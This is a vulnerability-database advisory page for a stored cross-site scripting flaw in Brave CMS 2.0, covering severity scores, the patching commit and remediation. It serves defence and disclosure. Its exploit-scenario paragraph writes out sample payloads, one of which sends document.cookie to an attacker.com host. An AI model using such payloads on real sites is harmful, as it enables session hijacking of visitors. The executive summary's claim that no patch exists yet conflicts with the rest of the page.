Skip to main content

Brave CMS CVE-2026-41524

| EUVDEUVD-2026-28648 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-08 security-advisories@github.com
8.7
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain editor credentials
  2. Delivery
    Access CMS dashboard
  3. Exploit
    Inject XSS payload via CKEditor
  4. Install
    Payload stored in database
  5. C2
    Victim views article
  6. Execute
    JavaScript executes in victim browser
  7. Impact
    Session/credential theft or admin escalation

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must possess valid editor-role credentials for the Brave CMS installation. Exploitation requires authenticated access to the CMS dashboard at /dashboard route with permissions to create or modify articles and pages via CKEditor. Default editor role in Brave CMS provides content creation privileges without admin rights, making this the minimum required privilege level. User interaction is required (UI:R in CVSS vector) as victims must navigate to the compromised article or page URL to trigger payload execution. Vulnerability affects only instances using CKEditor for content editing (default configuration) where article/page content is rendered with Laravel Blade's unescaped {!! !!} directive. Standard visitor role or unauthenticated users cannot inject payloads but become victims when viewing poisoned content.

Impact

CVSS 8.7 (High) reflects network-based attack (AV:N), low complexity (AC:L), but requires low-privilege authentication (PR:L) and user interaction (UI:R). The changed scope (S:C) indicates impact beyond the vulnerable component. While technically high-severity, real-world exploitation requires an attacker to first obtain editor-role credentials, then trick administrators or visitors into viewing the poisoned content. No EPSS score, KEV listing, or public exploit identified at time of analysis, suggesting limited real-world targeting. Primary risk is to multi-tenant CMS deployments where untrusted users hold editor roles, or post-compromise scenarios where attackers escalate from editor to admin. Organizations with trusted-only editorial teams face lower practical risk despite high CVSS. The GitHub security advisory and immediate patch availability indicate responsible disclosure without evidence of pre-patch exploitation.

Exploit ScenarioDerived

An attacker with editor-role credentials logs into the Brave CMS dashboard and creates or edits an article using the CKEditor interface. They inject JavaScript payload like <img src=x onerror=alert(document.cookie)> or <script>fetch('https://attacker.com/?c='+document.cookie)</script> into the article body. The CMS stores this payload verbatim in the database. When any visitor (including administrators) views the published article, the malicious JavaScript executes in their browser context, enabling session hijacking, credential theft, or further admin account compromise through phishing overlays. No publicly available exploit code identified, but exploitation is straightforward given the low attack complexity.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 08, 2026

Stored cross-site scripting (XSS) in Brave CMS 2.0 allows authenticated users with editor privileges to inject malicious JavaScript through the CKEditor rich-text interface, achieving persistent code execution in all visitors' browsers. The vulnerability stems from Laravel Blade's unescaped output directive {!! !!} rendering user-supplied content without sanitization. Patched via commit 6c56603 which implements HtmlSanitizer to allowlist safe HTML tags and strip dangerous attributes before database storage.

RemediationAI

Update Brave CMS 2.0 to commit 6c5660373cf5f0ca9181603280427aca46ef11ea or later from https://github.com/Ajax30/BraveCMS-2.0/commit/6c5660373cf5f0ca9181603280427aca46ef11ea. The patch implements app/Support/HtmlSanitizer::clean() in ArticleController and PageController to sanitize rich-text content before database storage, allowlisting safe HTML tags and stripping script tags, event handlers, and dangerous attributes. If immediate patching is not feasible, restrict editor-role access to highly trusted users only and audit existing article/page content for suspicious JavaScript (search database for <script>, onerror=, onclick=, and similar patterns). Note that restricting CKEditor features client-side provides no protection as the vulnerability exists in server-side output handling. Content Security Policy (CSP) with script-src 'self' can reduce exploit impact but does not prevent storage of malicious payloads or attacks against non-CSP-protected browsers.

Affected VersionsENISA

BraveCMS-2.0 < 6c5660373cf5f0ca9181603280427aca46ef11ea

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Brave CMS 2.0 is a Laravel-based content management system using CKEditor for rich-text editing. The vulnerability exists in the article and page controllers (app/Http/Controllers/Dashboard/ArticleController.php and PageController.php) where user-supplied content is stored directly to the database without sanitization, then rendered using Laravel Blade's {!! !!} unescaped output directive. This CWE-79 stored XSS flaw allows arbitrary HTML/JavaScript persistence. The patch introduces app/Support/HtmlSanitizer.php which implements a DOM-based allowlist approach, permitting only specific HTML tags (p, br, b, strong, i, em, u, a, ul, ol, li, img, h1-h6, blockquote, code, pre) and attributes (href/title for anchors, src/alt/title for images), removing all other elements including script tags and event handlers.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Primary rating from Vendor (github) · only source for this CVE.

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch available
May 08, 2026 - 16:18 EUVD
CVE Published
May 08, 2026 - 15:16 nvd
HIGH 8.7

DescriptionCVE.org

Brave CMS is an open-source CMS. Prior to commit 6c56603, page and article body content entered through the CKEditor rich-text editor is stored verbatim in the database and subsequently rendered with Laravel Blade's unescaped output directive {!! !!}. Any JavaScript or HTML injected by an editor-role user is permanently stored and executed in every visitor's browser upon page load. This issue has been patched via commit 6c56603.

Executive ViewAI

Why It Matters

Brave CMS 2.0 contains a stored XSS vulnerability that allows authenticated editors to inject malicious JavaScript into content, executing in all visitors' browsers and potentially compromising user sessions, data, and trust. Organizations running Brave CMS 2.0 must immediately restrict editor access and implement content review workflows until a patch is released, as this vulnerability enables persistent attacks against all site visitors.

Business Impact: High
Compensating Controls

Implement mandatory editorial review process requiring administrator sign-off before any editor-created content publishes; restrict editor role to trusted personnel only; deploy Web Application Firewall rules to detect and block common XSS payloads in POST/PUT requests to CMS; enable Content Security Policy (CSP) headers to restrict inline script execution; conduct weekly automated scans of published content for JavaScript injection patterns; consider temporary read-only mode for non-critical content until patch is available.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy